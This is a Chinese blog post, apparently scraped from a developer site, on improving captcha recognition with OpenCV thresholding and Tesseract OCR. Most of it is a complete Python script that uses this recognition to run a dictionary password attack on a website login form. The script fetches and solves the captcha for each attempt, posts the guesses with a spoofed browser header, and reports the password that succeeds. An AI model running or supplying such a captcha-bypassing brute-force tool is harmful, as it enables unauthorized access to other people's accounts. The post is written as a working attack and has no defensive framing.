验证码识别续
来源:互联网 发布:高性能开源网络库 编辑:程序博客网 时间:2024/04/30 15:25
目的:
之前识别 成功率太感人… 想着这一段起码写出来点东西吧 ,比如把之前的完善下 … 我学长写过一个成功率 90 的,我问问他然后把我的看看多少弥补点 … 提升下吧 …
构思:
学长说他的复杂,他是 openCV 处理 ,然后使用SVM 机器学习来识别,我之前的是利用 google 的 ORC 直接识别
最后成果是 ,使用 openCV 处理图片 , 处理过后效果比较好, ORC 识别情况还不错 , 所以没有使用 SVM 机器学习
我的理解:
低通滤波的效果相当于使模糊图片,减少噪点的影响,但是对识别数字 也有影响
高斯滤波是对某些点更为”照顾“
图像二值化,将图片变成只有黑白两种色
我没有用到滤波 ~~ 我觉得没有效果也不错 ~~
对我有帮助的连接:
OpenCV Python教程(1、图像的载入、显示和保存) http://blog.csdn.net/sunny2038/article/details/9057415 OpenCV-Python教程(5、初级滤波内容) http://blog.csdn.net/sunny2038/article/details/9155893 图像的二值化之python+opencv http://blog.csdn.net/what_lei/article/details/49159655 OpenCV 数字验证码识别 # C写的,有点遗憾 不过提供了主要的思路,帮助我写完了我的代码 # http://blog.csdn.net/monkeyduck/article/details/46932663
代码:
#coding:utf-8import requestsimport timeimport Imageimport pytesseractimport cv2from optparse import OptionParser def cmdParse(): parser = OptionParser() parser.add_option("-f",dest="dicPath",default=False,help="dict file path") parser.add_option("-u",dest="user",default=False,help="user name") parser.add_option("--url",dest="url",default=False,help="The data post url. Like www.baidu.com") (option, args) = parser.parse_args() return option.dicPath, option.url, option.user############# 验证码除噪def clearNoise(): img = cv2.imread("img.jpg") grayImg = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY) ret, twoImg = cv2.threshold(grayImg, 127, 255, cv2.THRESH_BINARY) cv2.imwrite("img.jpg",twoImg)############# 验证码分析def Analysis(): clearNoise() image = Image.open("img.jpg") return pytesseract.image_to_string(image)############# 验证码保存def imgSave(s,url): urlCode = url + "/include/xxx.php" resp = s.get(urlCode) f = open("img.jpg","wb") f.write(resp.content) f.close()def Payload(user,pwd,vaCode): return {"userid":user ,"pwd":pwd ,"gotopage":"xxx", "dopost":"xxx" ,"xxx":"xxxx" ,"validate":vaCode}def header(): return {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'}def main(): i = 1 xing = "*" truePwd = "......" dicPath, url, user = cmdParse() urlLogin = url + "/xxx/login.php" s = requests.session() # 打开字典文件 for pwd in open(dicPath): # 每条密码匹配5次 for x in xrange(0,5): imgSave(s,url) vaCode = Analysis() print vaCode resp = s.post(urlLogin,data=Payload(user,pwd,vaCode),headers=header()) resp.encoding = resp.apparent_encoding print x,xing*40,pwd if u"成功登录,正在转向管理管理主页!" in resp.text: truePwd = pwd print "testing ........" if i%10==0: time.sleep(1) i = i + 1 if truePwd != "......": print truePwdif __name__ == '__main__': main()
0 0
- 验证码识别续
- CSDN验证码识别
- 验证码识别技术
- c# 识别验证码
- vb-验证码识别
- 验证码识别技术
- 验证码识别技术
- 验证码识别技术
- 验证码识别技术
- 验证码识别技术
- 如何识别验证码
- 验证码识别技术
- 验证码识别浅谈
- 简单验证码识别
- 验证码识别技术
- 验证码识别技术
- 验证码识别技术
- 验证码识别
- 一起学WEB(八) 一个网页练习(二)
- linux设备驱动归纳总结(五):2.操作硬件——IO内存
- 移动语义(move semantic)和完美转发(perfect forward)
- svn利用post-commit自动部署
- 统计学6
- 验证码识别续
- 如何上传base64图片到七牛云存储,然后返回图片url呢??
- Activity与Fragment的传参
- 125. Valid Palindrome \ 459. Repeated Substring Pattern
- 【GDKOI2017模拟1.21】Rhyme
- android studio签名打包方法
- 一个由进程内存布局异常引起的问题
- 十二、用MapReduce完成类似倒排索引的功能
- 将对象转换成json格式